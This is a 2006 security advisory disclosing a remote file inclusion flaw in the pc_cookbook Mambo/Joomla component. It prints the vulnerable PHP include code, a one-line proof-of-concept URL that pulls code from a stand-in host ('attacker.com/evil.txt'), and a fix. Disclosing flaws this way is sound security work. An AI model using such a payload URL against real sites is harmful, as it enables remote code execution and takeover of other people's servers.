[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities
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[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File
Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
Date : July 10th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv37-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
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pc_cookbook Component
Application : pc_cookbook Component
version : 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog
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Vulnerability:
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in folder com_pccookbook we found vulnerability script pccookbook.php.
-----------------------pccookbook.php----------------------
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<?php
//pc_cookbook Component//
/**
* Content code
* @package hello_world
* Original @Copyright (C) 2005 Robert Prince
* @Copyright (C) 2005 Konstantinos (koyan) Kokkorogiannis
* @ All rights reserved
* @ pc_cookbook is Free Software
* @ Released under GNU/GPL License :
http://www.gnu.org/copyleft/gpl.html
* @version koyans 0.3
* @link http://www.dianthos.net & http://www.fisheye.gr/koyansblog
**/
global $mosConfig_absolute_path;
global $mosConfig_live_site;
// include language file, or default to english
if (file_exists ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php')) {
include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php');
} else {
include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/english.php');
} // end if
?>
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Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
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http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?
Solution:
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sanitize variabel $mosConfig_absolute_path in pccookbook.php
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Shoutz:
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~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@xxxxxxxxxxxxxxx, jasakom_perjuangan@xxxxxxxxxxxxxxx
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
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matdhule[at]gmail[dot]com
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